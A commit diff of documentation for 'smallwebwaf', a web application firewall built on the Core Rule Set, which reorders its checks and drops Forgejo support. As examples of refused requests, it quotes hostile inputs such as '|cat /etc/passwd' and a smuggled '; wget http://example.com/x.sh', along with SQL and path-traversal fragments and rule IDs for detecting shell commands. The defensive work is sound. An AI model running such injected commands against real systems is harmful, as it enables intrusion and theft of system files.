Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7c913d058d |
No files matched your search
+2
-2
@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. At each start of waf, the run
|
# is mounted to keep them across deploys. The run script gives it to the
|
||||||
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
# sww user at each start of waf.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
|
|||||||
@@ -510,8 +510,7 @@ request reaches the app.
|
|||||||
|
|
||||||
`waf` takes the checks:
|
`waf` takes the checks:
|
||||||
|
|
||||||
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
3. The tag lists.
|
||||||
header limits.
|
|
||||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
@@ -523,7 +522,7 @@ request reaches the app.
|
|||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
12. The trap paths.
|
12. The trap paths.
|
||||||
13. The rule files.
|
13. The rule files.
|
||||||
14. The Core Rule Set.
|
14. The header limits, and then the Core Rule Set.
|
||||||
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
prefix.
|
prefix.
|
||||||
@@ -539,7 +538,7 @@ request reaches the app.
|
|||||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
request over the header limits of step 3 is answered `431`, and bans nobody
|
request over the header limits of step 14 is answered `431`, and bans nobody
|
||||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
@@ -581,7 +580,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
@@ -589,9 +588,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
||||||
through. On gitea's own paths, its searches, file names and branch names
|
through. On gitea's own paths, its searches, file names and branch names
|
||||||
do too.
|
do too.
|
||||||
- Forgejo: git over HTTP and its container and package registries get
|
|
||||||
through. On Forgejo's own paths, its searches, file names and branch names
|
|
||||||
do too.
|
|
||||||
- WordPress: saving a post from the block editor gets through. On
|
- WordPress: saving a post from the block editor gets through. On
|
||||||
WordPress's own paths, its searches, names and file names do too.
|
WordPress's own paths, its searches, names and file names do too.
|
||||||
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
||||||
@@ -625,14 +621,13 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
||||||
- `lookups.json`, from GeoJS;
|
- `lookups.json`, from GeoJS;
|
||||||
- `lists.json`, the lists fetched by URL;
|
- `lists.json`, the lists fetched by URL;
|
||||||
- `dnsbl.json`, from the DNS blocklists;
|
- `dnsbl.json`, from the DNS blocklists;
|
||||||
- `abuseipdb-scores.json`, from AbuseIPDB;
|
- `abuseipdb-scores.json`, from AbuseIPDB.
|
||||||
- `routewatch.json`, from routewatch.
|
|
||||||
|
|
||||||
Back up the state directory. The cache directory can be left out of backups: a
|
Back up the state directory. The cache directory can be left out of backups: a
|
||||||
lost cache file starts empty and fills again.
|
lost cache file starts empty and fills again.
|
||||||
@@ -676,8 +671,8 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||||
source each.
|
source each.
|
||||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||||
`internal/metrics`: the state and cache files, the log lines, the syslog
|
`internal/metrics`: the state files, the log lines, the syslog sender and the
|
||||||
sender and the metrics.
|
metrics.
|
||||||
|
|
||||||
## Rationale
|
## Rationale
|
||||||
|
|
||||||
|
|||||||
@@ -62,13 +62,13 @@ never as a time.
|
|||||||
- Packages:
|
- Packages:
|
||||||
- `cmd/sww`: the binary, which only calls `internal/sww`.
|
- `cmd/sww`: the binary, which only calls `internal/sww`.
|
||||||
- `internal/sww`: the process, as the command it is given. `sww waf` reads
|
- `internal/sww`: the process, as the command it is given. `sww waf` reads
|
||||||
the settings, the rule files, the lookup database and the state and cache
|
the settings, the rule files, the lookup database and the state files,
|
||||||
files, listens, and serves until `SIGTERM` or `SIGINT`. Then it stops,
|
listens, and serves until `SIGTERM` or `SIGINT`. Then it stops, writing
|
||||||
writing the state and cache files (see "`waf`"). `sww rproxy` reads only
|
the state files (see "`waf`"). `sww rproxy` reads only that command's
|
||||||
that command's settings, and runs `internal/rproxy` until `SIGTERM` or
|
settings, and runs `internal/rproxy` until `SIGTERM` or `SIGINT` (see
|
||||||
`SIGINT` (see "`rproxy`"). `sww healthcheck` is the image's health check.
|
"`rproxy`"). `sww healthcheck` is the image's health check. With no
|
||||||
With no command, or one it does not know, the binary prints the commands
|
command, or one it does not know, the binary prints the commands and exits
|
||||||
and exits with status 2.
|
with status 2.
|
||||||
- `internal/config`: reads the settings, the one place they are read.
|
- `internal/config`: reads the settings, the one place they are read.
|
||||||
- `internal/waf`: `waf`'s server. It runs the checks in `check`, and holds
|
- `internal/waf`: `waf`'s server. It runs the checks in `check`, and holds
|
||||||
`waf`'s question, answer and report. It answers `waf`'s own endpoints in
|
`waf`'s question, answer and report. It answers `waf`'s own endpoints in
|
||||||
@@ -84,8 +84,8 @@ never as a time.
|
|||||||
of bans is full.
|
of bans is full.
|
||||||
- `internal/rules`: reads the rule files at start and again when they
|
- `internal/rules`: reads the rule files at start and again when they
|
||||||
change, and tells which rules a request matches.
|
change, and tells which rules a request matches.
|
||||||
- `internal/coreruleset`: the Core Rule Set, with the fifteen changes listed
|
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
|
||||||
under "Attack detection", as Coraza directives.
|
listed under "Attack detection", as Coraza directives.
|
||||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||||
database.
|
database.
|
||||||
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
||||||
@@ -106,7 +106,7 @@ never as a time.
|
|||||||
container, which `script/example-app` checks with `waf` in another.
|
container, which `script/example-app` checks with `waf` in another.
|
||||||
- Libraries, checked against the owner's Go dependency defaults:
|
- Libraries, checked against the owner's Go dependency defaults:
|
||||||
- the standard library for the reverse proxy, HTTP clients, DNS, logging
|
- the standard library for the reverse proxy, HTTP clients, DNS, logging
|
||||||
(`log/slog`) and the state and cache files (`encoding/json`, `os.Rename`);
|
(`log/slog`) and the state files (`encoding/json`, `os.Rename`);
|
||||||
- `github.com/corazawaf/coraza/v3` and
|
- `github.com/corazawaf/coraza/v3` and
|
||||||
`github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0`, which carries
|
`github.com/corazawaf/coraza-coreruleset/v4` at `v4.25.0`, which carries
|
||||||
the Core Rule Set 4.25.0. The changes `smallwebwaf` makes to it, and the
|
the Core Rule Set 4.25.0. The changes `smallwebwaf` makes to it, and the
|
||||||
@@ -149,12 +149,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
- An IPv6 client is its group: the netblock of `SWW_IPV6_GROUP_PREFIX`
|
- An IPv6 client is its group: the netblock of `SWW_IPV6_GROUP_PREFIX`
|
||||||
around its address, a /64 by default, since one abuser usually controls a
|
around its address, a /64 by default, since one abuser usually controls a
|
||||||
whole /64. A client is therefore one IPv4 address or one IPv6 group.
|
whole /64. A client is therefore one IPv4 address or one IPv6 group.
|
||||||
3. The header limits (`header_limits`; see "Answering in time"). They come first
|
3. The tag lists (`tag_lists`; see "Request tags"). Each list that holds the
|
||||||
after `SWW_ALLOW_NETS`, since they only count header fields and cookies.
|
client adds its tag. Next, `routewatch_tags` adds the client's `asn=` and
|
||||||
Next, the tag lists (`tag_lists`; see "Request tags"). Each list that holds
|
|
||||||
the client adds its tag. Next, `routewatch_tags` adds the client's `asn=` and
|
|
||||||
`prefix=` tags while `SWW_ROUTEWATCH_URL` is set. A client in
|
`prefix=` tags while `SWW_ROUTEWATCH_URL` is set. A client in
|
||||||
`SWW_ALLOW_NETS` skips the header limits and gets no tag.
|
`SWW_ALLOW_NETS` gets no tag.
|
||||||
4. The static lists. A client in `SWW_ALLOW_NETS` skips steps 5 to 15, the byte
|
4. The static lists. A client in `SWW_ALLOW_NETS` skips steps 5 to 15, the byte
|
||||||
limits and the error burst. A client in `SWW_DENY_NETS` is refused
|
limits and the error burst. A client in `SWW_DENY_NETS` is refused
|
||||||
(`deny_nets`); a client in both lists is let through.
|
(`deny_nets`); a client in both lists is let through.
|
||||||
@@ -187,9 +185,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
|
|||||||
refused and bans the client.
|
refused and bans the client.
|
||||||
13. The rule files (`rule_files`; see "Rule files"). Matching stops at the first
|
13. The rule files (`rule_files`; see "Rule files"). Matching stops at the first
|
||||||
rule that refuses.
|
rule that refuses.
|
||||||
14. The Core Rule Set (`core_rule_set`; see "Attack detection"). A match is
|
14. The header limits (`header_limits`; see "Answering in time"), and then the
|
||||||
refused with `403` while `SWW_WAF_MODE` is `block`, and only logged and
|
Core Rule Set (`core_rule_set`; see "Attack detection"). A Core Rule Set
|
||||||
alerted while it is `detect`.
|
match is refused with `403` while `SWW_WAF_MODE` is `block`, and only logged
|
||||||
|
and alerted while it is `detect`.
|
||||||
15. The tag refusals again (`tag_deny`), so that `exploitsignature` can refuse
|
15. The tag refusals again (`tag_deny`), so that `exploitsignature` can refuse
|
||||||
too.
|
too.
|
||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
@@ -242,16 +241,11 @@ apply.
|
|||||||
## Bans
|
## Bans
|
||||||
|
|
||||||
Until a ban ends, every request from its netblock is refused with
|
Until a ban ends, every request from its netblock is refused with
|
||||||
`SWW_BAN_RESPONSE`, unless it is over the header limits. The netblock is the
|
`SWW_BAN_RESPONSE`. The netblock is the client: its IPv4 address, widened to
|
||||||
client: its IPv4 address, widened to `SWW_BAN_SCOPE_V4_PREFIX`, or its IPv6
|
`SWW_BAN_SCOPE_V4_PREFIX`, or its IPv6 group. At the defaults a ban covers one
|
||||||
group. At the defaults a ban covers one address or one /64, so a permanent ban
|
address or one /64, so a permanent ban does not reach neighbours who did
|
||||||
does not reach neighbours who did nothing. Requests refused under a ban are not
|
nothing. Requests refused under a ban are not counted against limits. They are
|
||||||
counted against limits. They are counted in the client's history and in the
|
counted in the client's history and in the ban's notes.
|
||||||
ban's notes.
|
|
||||||
|
|
||||||
A request over the header limits is refused with `431` before the bans are
|
|
||||||
checked (see "Answering in time"). It makes no ban, makes no ban permanent and
|
|
||||||
is not counted in a ban's notes.
|
|
||||||
|
|
||||||
An offence is a request `waf` holds against the client. It is one of:
|
An offence is a request `waf` holds against the client. It is one of:
|
||||||
|
|
||||||
@@ -367,7 +361,7 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
|
|||||||
one, since `rproxy` never touches disk.
|
one, since `rproxy` never touches disk.
|
||||||
- Settings, files included, are read once at start. Changing one means
|
- Settings, files included, are read once at start. Changing one means
|
||||||
restarting the container. The files `waf` watches while it runs are its state
|
restarting the container. The files `waf` watches while it runs are its state
|
||||||
and cache files, its rule files and the lookup database.
|
files, its rule files and the lookup database.
|
||||||
- An invalid setting stops the process at start with one log line, marked
|
- An invalid setting stops the process at start with one log line, marked
|
||||||
`"type":"process"` with `"msg":"invalid setting"`. The line names the variable
|
`"type":"process"` with `"msg":"invalid setting"`. The line names the variable
|
||||||
and what is wrong with the value; "Each container's processes" says what
|
and what is wrong with the value; "Each container's processes" says what
|
||||||
@@ -583,7 +577,7 @@ Each tag and where it comes from:
|
|||||||
- They are added before `deny_nets`, so the log line of a request it refused
|
- They are added before `deny_nets`, so the log line of a request it refused
|
||||||
has them.
|
has them.
|
||||||
- `waf` asks routewatch in the background and never waits for it. An answer
|
- `waf` asks routewatch in the background and never waits for it. An answer
|
||||||
is kept for 1 hour, in memory and in `routewatch.json`.
|
is kept for 1 hour, in memory only.
|
||||||
- After a query fails, routewatch is not asked for 1 minute.
|
- After a query fails, routewatch is not asked for 1 minute.
|
||||||
- A request without these tags gives the reason in the log field
|
- A request without these tags gives the reason in the log field
|
||||||
`routewatch_tags_missing` (see
|
`routewatch_tags_missing` (see
|
||||||
@@ -681,7 +675,7 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||||
holds an app's own exclusions. The eighth to fifteenth changes below hold
|
holds an app's own exclusions. The eighth to fourteenth changes below hold
|
||||||
those of the apps they name.
|
those of the apps they name.
|
||||||
- `waf` loads the file after `smallwebwaf`'s own setup rules and before the
|
- `waf` loads the file after `smallwebwaf`'s own setup rules and before the
|
||||||
Core Rule Set's rules. The Core Rule Set loads its own
|
Core Rule Set's rules. The Core Rule Set loads its own
|
||||||
@@ -728,11 +722,10 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
scanner from an ordinary client. In front of a code forge, registry and git
|
scanner from an ordinary client. In front of a code forge, registry and git
|
||||||
clients get `404` and `401` by design, hundreds of times a minute.
|
clients get `404` and `401` by design, hundreds of times a minute.
|
||||||
|
|
||||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in fifteen ways. Without them, it
|
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
|
||||||
would refuse ordinary requests to these apps:
|
it would refuse ordinary requests to these apps:
|
||||||
|
|
||||||
- gitea;
|
- gitea;
|
||||||
- Forgejo;
|
|
||||||
- WordPress;
|
- WordPress;
|
||||||
- Drupal;
|
- Drupal;
|
||||||
- MediaWiki;
|
- MediaWiki;
|
||||||
@@ -774,23 +767,22 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||||
still refused there. Other parameters keep all three rules. The eighth to
|
still refused there. Other parameters keep all three rules. The eighth to
|
||||||
fifteenth changes switch some of them off for some fields on the paths of
|
fourteenth changes switch some of them off for some fields on the paths of
|
||||||
the apps they name. An app that uses one of these parameters as a file on
|
the apps they name. An app that uses one of these parameters as a file on
|
||||||
the server, or passes it to a shell, must check the value itself. A rule
|
the server, or passes it to a shell, must check the value itself. A rule
|
||||||
file can refuse it instead.
|
file can refuse it instead.
|
||||||
|
|
||||||
5. Three cookies are left out, and `Referer` keeps fewer rules:
|
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
||||||
- The Core Rule Set reads the request without the `gitea_flash`, `flash` and
|
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||||
`redirect_to` cookies. gitea puts a message naming what was just done into
|
`redirect_to` cookies. gitea puts a message naming what was just done into
|
||||||
`gitea_flash`, and Forgejo puts it into `flash`. Both put into
|
`gitea_flash`. It puts into `redirect_to` the page to return to after
|
||||||
`redirect_to` the page to return to after signing in. The Core Rule Set
|
signing in. The Core Rule Set takes file names in them, such as
|
||||||
takes file names in them, such as `package.json`, for attacks. A browser
|
`package.json`, for attacks. A browser sends such a cookie with every
|
||||||
sends such a cookie with every request until the app replaces it. The app
|
request until gitea replaces it. gitea cannot replace it while those
|
||||||
cannot replace it while those requests are refused, so one refusal would
|
requests are refused, so one refusal would keep the browser out of the
|
||||||
keep the browser out of the whole site. gitea and Forgejo show the message
|
whole site. gitea shows the message with any script removed and returns
|
||||||
with any script removed and return only to their own pages. Every other
|
only to its own pages. Every other cookie is read in full. An app that
|
||||||
cookie is read in full. An app that reads a cookie of one of these names
|
reads a cookie of either name must check it itself.
|
||||||
must check it itself.
|
|
||||||
- `Referer` is not checked for a Unix command given without arguments
|
- `Referer` is not checked for a Unix command given without arguments
|
||||||
(932340), for Java starting a process (944110) or for a Java class name
|
(932340), for Java starting a process (944110) or for a Java class name
|
||||||
(944130). `Referer` names the page a request comes from, on everything
|
(944130). `Referer` names the page a request comes from, on everything
|
||||||
@@ -819,32 +811,17 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
`SELECT * FROM users WHERE` or `../`.
|
`SELECT * FROM users WHERE` or `../`.
|
||||||
- `Referer` of a page opened from such a search, for script and SQL
|
- `Referer` of a page opened from such a search, for script and SQL
|
||||||
injection and Java code (941110, 941120, 941160, 942100, 944100).
|
injection and Java code (941110, 941120, 941160, 942100, 944100).
|
||||||
- `q` on gitea's searches for a name, for the lists of system files and
|
- `q` on gitea's searches for a name, for the names of system files and
|
||||||
command names (930120, 932120, 932250, 932260). Names such as `.profile`
|
commands (930120, 932120, 932260). Names such as `.profile` and
|
||||||
and `python3-app`, and the words `ls -la`, were refused. gitea searches
|
`python3-app` were refused. gitea searches for the names of:
|
||||||
for the names of:
|
|
||||||
- repositories;
|
- repositories;
|
||||||
- users and organisations;
|
- users and organisations;
|
||||||
- branches and tags;
|
- branches and tags;
|
||||||
- packages, on its pages and in its API.
|
- packages.
|
||||||
|
|
||||||
A user's or an organisation's page has a path of one segment, such as
|
A user's or an organisation's page is any path of one segment, so on
|
||||||
`/alice`. So on any app, `q` skips these rules on every path of one
|
every such path, on any app, `q` skips these three rules, for example on
|
||||||
segment, such as `/search`. But it skips 932250 only on a path made of
|
`/search`.
|
||||||
the characters a name may hold: letters, digits, `-`, `_` and dots, the
|
|
||||||
first a letter or digit. So `ls -la` is refused on
|
|
||||||
`/login.jsp;jsessionid=abc`. `q` also keeps 932250 on a path that ends
|
|
||||||
in a server-side script's extension, such as `/index.php`. The
|
|
||||||
extensions are these, in upper or lower case:
|
|
||||||
- `.php`;
|
|
||||||
- `.phtml`;
|
|
||||||
- `.php5`;
|
|
||||||
- `.cgi`;
|
|
||||||
- `.pl`;
|
|
||||||
- `.py`;
|
|
||||||
- `.asp`;
|
|
||||||
- `.aspx`;
|
|
||||||
- `.jsp`.
|
|
||||||
|
|
||||||
Some of these searches also skip the rule for Java class names (944130),
|
Some of these searches also skip the rule for Java class names (944130),
|
||||||
which refused `org.apache.commons.logging`.
|
which refused `org.apache.commons.logging`.
|
||||||
@@ -1583,22 +1560,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
||||||
Nextcloud that serves one of these paths must check these fields itself.
|
Nextcloud that serves one of these paths must check these fields itself.
|
||||||
|
|
||||||
15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
|
|
||||||
ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
|
|
||||||
change applies to its requests too. This change holds only what Forgejo
|
|
||||||
sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
|
|
||||||
rule and the search it refused:
|
|
||||||
- system files (930120), such as `.htaccess`;
|
|
||||||
- Windows commands (932120), such as `powershell`;
|
|
||||||
- shell paths (932160), such as `/bin/sh`;
|
|
||||||
- Unix commands (932250), such as `ls -la`;
|
|
||||||
- command names (932260), such as `python3`.
|
|
||||||
|
|
||||||
`; wget http://example.com/x.sh`, path traversal, and SQL and script
|
|
||||||
injection are still refused there. The path is `/<owner>/<repo>/wiki/search`
|
|
||||||
at the site root. An app other than Forgejo that serves such a path must
|
|
||||||
check `q` itself.
|
|
||||||
|
|
||||||
The parameter and cookie names in these changes are matched without regard to
|
The parameter and cookie names in these changes are matched without regard to
|
||||||
case, as Coraza matches them.
|
case, as Coraza matches them.
|
||||||
|
|
||||||
@@ -1692,11 +1653,11 @@ together.
|
|||||||
client's later requests. For an IPv6 client, AbuseIPDB is asked about the
|
client's later requests. For an IPv6 client, AbuseIPDB is asked about the
|
||||||
address of the request that set off the check, and the score is used for the
|
address of the request that set off the check, and the score is used for the
|
||||||
whole group. A score at or over `SWW_ABUSEIPDB_MIN_SCORE` is a hit. The budget
|
whole group. A score at or over `SWW_ABUSEIPDB_MIN_SCORE` is a hit. The budget
|
||||||
is counted in UTC days and kept in `abuseipdb-checks-spent.json`, so a restart
|
is counted in UTC days and kept in `abuseipdb-checks.json`, so a restart does
|
||||||
does not make it whole again. The check that spends the last of it is logged
|
not make it whole again. The check that spends the last of it is logged and
|
||||||
and alerted, and no client is checked until the day ends. The key is sent in
|
alerted, and no client is checked until the day ends. The key is sent in the
|
||||||
the `Key` header and nowhere else, and is never logged. A check fails, after
|
`Key` header and nowhere else, and is never logged. A check fails, after which
|
||||||
which no client is checked for a minute, when:
|
no client is checked for a minute, when:
|
||||||
- AbuseIPDB answers other than `200`;
|
- AbuseIPDB answers other than `200`;
|
||||||
- the answer gives no score;
|
- the answer gives no score;
|
||||||
- no answer comes within `SWW_REPUTATION_TIMEOUT`.
|
- no answer comes within `SWW_REPUTATION_TIMEOUT`.
|
||||||
@@ -1815,37 +1776,22 @@ them at any time, and the running `waf` takes the edit in. `docs/state-files.md`
|
|||||||
lists the files, what each holds, and their sizes.
|
lists the files, what each holds, and their sizes.
|
||||||
|
|
||||||
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||||
- `bans.json`;
|
`bans.json`, `clients.json`, `abuseipdb-checks.json` and `alerts.json`.
|
||||||
- `clients.json`;
|
|
||||||
- `abuseipdb-checks-spent.json`;
|
|
||||||
- `alerts.json`.
|
|
||||||
- The cache files, in `SWW_CACHE_DIR`, hold the answers of outside services:
|
- The cache files, in `SWW_CACHE_DIR`, hold the answers of outside services:
|
||||||
- `lookups.json`;
|
`lookups.json`, `lists.json`, `dnsbl.json` and `abuseipdb-scores.json`. A lost
|
||||||
- `lists.json`;
|
cache file costs only questions asked again, so the cache directory can be
|
||||||
- `dnsbl.json`;
|
left out of backups.
|
||||||
- `abuseipdb-scores.json`;
|
|
||||||
- `routewatch.json`.
|
|
||||||
- A lost cache file costs only questions asked again, so the cache directory can
|
|
||||||
be left out of backups.
|
|
||||||
- Each file holds one kind of state, as JSON with:
|
- Each file holds one kind of state, as JSON with:
|
||||||
- a top-level `version` number;
|
- a top-level `version` number;
|
||||||
- entries sorted by client address;
|
- entries sorted by client address;
|
||||||
- times in RFC 3339 UTC;
|
- times in RFC 3339 UTC;
|
||||||
- days as `YYYY-MM-DD`;
|
- days as `YYYY-MM-DD`;
|
||||||
- durations and sizes as plain numbers, with the unit in the field name.
|
- durations and sizes as plain numbers, with the unit in the field name.
|
||||||
- These files are indented, so that a person can open `bans.json` in an editor,
|
- `bans.json`, `abuseipdb-checks.json`, `alerts.json` and `lists.json` are
|
||||||
find an address, and remove or add an entry:
|
indented, so that a person can open `bans.json` in an editor, find an address,
|
||||||
- `bans.json`;
|
and remove or add an entry. `clients.json`, `lookups.json`, `dnsbl.json` and
|
||||||
- `abuseipdb-checks-spent.json`;
|
`abuseipdb-scores.json` put each entry on one line, which halves their size
|
||||||
- `alerts.json`;
|
and lets `grep` show everything about one client.
|
||||||
- `lists.json`.
|
|
||||||
- The others put each entry on one line, which halves their size and lets `grep`
|
|
||||||
show everything about one client:
|
|
||||||
- `clients.json`;
|
|
||||||
- `lookups.json`;
|
|
||||||
- `dnsbl.json`;
|
|
||||||
- `abuseipdb-scores.json`;
|
|
||||||
- `routewatch.json`.
|
|
||||||
- Clients that were never banned are kept too, so every client's history
|
- Clients that were never banned are kept too, so every client's history
|
||||||
survives a restart.
|
survives a restart.
|
||||||
- Each file has a bound, so it can be rewritten whole. Writing one takes well
|
- Each file has a bound, so it can be rewritten whole. Writing one takes well
|
||||||
@@ -1965,10 +1911,10 @@ each app. `rproxy` asks `waf` about each visitor's request. `waf` answers
|
|||||||
This section is the agreement between the two. The header names, the fields and
|
This section is the agreement between the two. The header names, the fields and
|
||||||
the statuses below are exact.
|
the statuses below are exact.
|
||||||
|
|
||||||
`waf` reads the settings, the rule files, the lookup database and the state and
|
`waf` reads the settings, the rule files, the lookup database and the state
|
||||||
cache files, and listens at `SWW_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it stops
|
files, and listens at `SWW_LISTEN_ADDR`. On `SIGTERM` or `SIGINT` it stops
|
||||||
taking requests and gives those in progress five seconds to finish. It then
|
taking requests and gives those in progress five seconds to finish. It then
|
||||||
writes the state and cache files.
|
writes the state files.
|
||||||
|
|
||||||
### The question
|
### The question
|
||||||
|
|
||||||
@@ -2091,6 +2037,7 @@ waits on these, which run in the background:
|
|||||||
|
|
||||||
In `enforce` mode, a question does not wait for GeoJS when it is a request:
|
In `enforce` mode, a question does not wait for GeoJS when it is a request:
|
||||||
|
|
||||||
|
- over the header limits;
|
||||||
- from a client on a fetched blocklist, while `SWW_BLOCKLIST_ACTION` is `deny`;
|
- from a client on a fetched blocklist, while `SWW_BLOCKLIST_ACTION` is `deny`;
|
||||||
- from a client on the CrowdSec decision list;
|
- from a client on the CrowdSec decision list;
|
||||||
- that would take its client over a rate limit at 100% of it, since a percentage
|
- that would take its client over a rate limit at 100% of it, since a percentage
|
||||||
@@ -2102,8 +2049,8 @@ number and country stay unknown until GeoJS has answered. So while
|
|||||||
`SWW_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
|
`SWW_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
|
||||||
never lowers its limit.
|
never lowers its limit.
|
||||||
|
|
||||||
The header limits, the static lists and bans come before the lookup, so they
|
The static lists and bans come before the lookup, so they never wait. These can
|
||||||
never wait. These can still wait for GeoJS:
|
still wait for GeoJS:
|
||||||
|
|
||||||
- a country list, which needs the answer;
|
- a country list, which needs the answer;
|
||||||
- a rate limit a percentage has lowered, which needs the answer;
|
- a rate limit a percentage has lowered, which needs the answer;
|
||||||
@@ -2122,17 +2069,13 @@ either one:
|
|||||||
|
|
||||||
Real clients never reach these limits. The answer is `deny` with `431`, and the
|
Real clients never reach these limits. The answer is `deny` with `431`, and the
|
||||||
log line's action is `request_header_too_large`. The refusal makes no ban and is
|
log line's action is `request_header_too_large`. The refusal makes no ban and is
|
||||||
no offence.
|
no offence. The rate limits count the request as usual, so a client that keeps
|
||||||
|
sending such requests breaks a limit.
|
||||||
The header limits are the first check after `SWW_ALLOW_NETS`. A request over
|
|
||||||
them is refused before any later check runs. So it causes no lookup, no query to
|
|
||||||
an outside source and no rule match, and the rate limits do not count it. A
|
|
||||||
client under a ban or in `SWW_DENY_NETS` also gets `431` for such a request.
|
|
||||||
|
|
||||||
